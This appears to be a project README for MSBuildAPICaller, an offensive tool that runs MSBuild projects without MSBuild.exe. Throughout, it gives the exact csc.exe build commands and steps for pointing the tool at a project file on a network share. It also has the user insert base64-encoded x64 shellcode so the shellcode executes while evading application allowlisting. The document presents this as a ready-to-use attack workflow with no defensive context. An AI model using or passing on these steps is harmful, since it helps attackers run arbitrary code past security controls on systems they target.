Awesome
An updated version of this project resides at https://github.com/rvrsh3ll/NoMSBuild
MSBuildAPICaller
MSBuild Without MSBuild.exe
How to build and execute
Step 1: Build IEShim.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs
Step 2: Modify "projectPath" variable on line 60 of msbuildapicaller.cs to your needs
Example: string projectPath = '\\192.168.1.100\share\msbuildapicaller.csproj';
Step 3: Replace <Base64 Encoded x64 Shellcode> with your base64 encoded x64 shellcode in msbuildapicaller.csproj
Step 4: Replace AssemblyFile variable with the location of your compiled dll from step 1
Step 5: Build msbuildapicaller.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs